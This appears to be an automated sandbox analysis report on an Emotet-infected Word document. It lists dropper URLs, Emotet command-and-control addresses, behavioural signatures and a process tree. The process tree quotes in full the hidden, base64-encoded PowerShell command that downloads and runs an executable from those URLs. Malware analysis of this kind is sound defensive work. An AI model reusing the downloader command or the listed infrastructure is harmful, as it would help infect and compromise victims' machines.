Analysis

  • max time kernel
    141s
  • resource
    win10v191014
  • submitted
    16-12-2019 07:53

General

  • Target

    Docs_12e90e4b70e21ee2e80f2563f43e72ab.html.doc

  • Sample

    191216-2lrdptpq9e

  • SHA256

    e8d3e9d5d4c9257a079e4140d2a7806854440a260a933a0f46c2d3a1979ecc9b

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/

exe.dropper

https://www.wenkawang.com/data/bofze0s-7ji4-15/

exe.dropper

https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/

exe.dropper

http://ma.jopedu.com/img/8z8dl-3xn-655019278/

exe.dropper

http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

Extracted

Family

emotet

C2

108.184.9.44:80

88.247.26.78:80

181.46.176.38:80

164.68.115.146:8080

5.189.148.98:8080

46.105.128.215:8080

69.30.205.162:7080

46.105.131.68:8080

85.235.219.74:80

37.46.129.215:8080

153.190.41.185:80

115.179.91.58:80

100.38.11.243:80

119.57.36.54:8080

124.150.175.129:8080

139.59.12.63:8080

82.146.55.23:7080

123.142.37.165:80

95.216.212.157:8080

200.41.121.69:443

rsa_pubkey.plain

Signatures

  • Windows security modification 2 TTPs 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Drops file in System32 directory 6 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_12e90e4b70e21ee2e80f2563f43e72ab.html.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    PID:4884
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:4284
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Users\Admin\306.exe
        "C:\Users\Admin\306.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4600
        • C:\Users\Admin\306.exe
          --32715517
          3⤵
          • Suspicious use of SetWindowsHookEx
          • Drops file in System32 directory
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          PID:4644
    • C:\Windows\SysWOW64\dispidgroup.exe
      "C:\Windows\SysWOW64\dispidgroup.exe"
      1⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4312
      • C:\Windows\SysWOW64\dispidgroup.exe
        --6d5c3f18
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:4220
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Drops file in Windows directory
      PID:3872
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:4104
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
          PID:4508
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
          1⤵
            PID:4240
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k unistacksvcgroup
            1⤵
              PID:3556

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/4220-17-0x0000000000E00000-0x0000000000E17000-memory.dmp

              Filesize

              92KB

            • memory/4220-18-0x0000000000400000-0x0000000000483000-memory.dmp

              Filesize

              524KB

            • memory/4312-15-0x0000000000600000-0x0000000000617000-memory.dmp

              Filesize

              92KB

            • memory/4600-10-0x00000000022B0000-0x00000000022C7000-memory.dmp

              Filesize

              92KB

            • memory/4644-12-0x00000000005E0000-0x00000000005F7000-memory.dmp

              Filesize

              92KB

            • memory/4644-13-0x0000000000400000-0x0000000000483000-memory.dmp

              Filesize

              524KB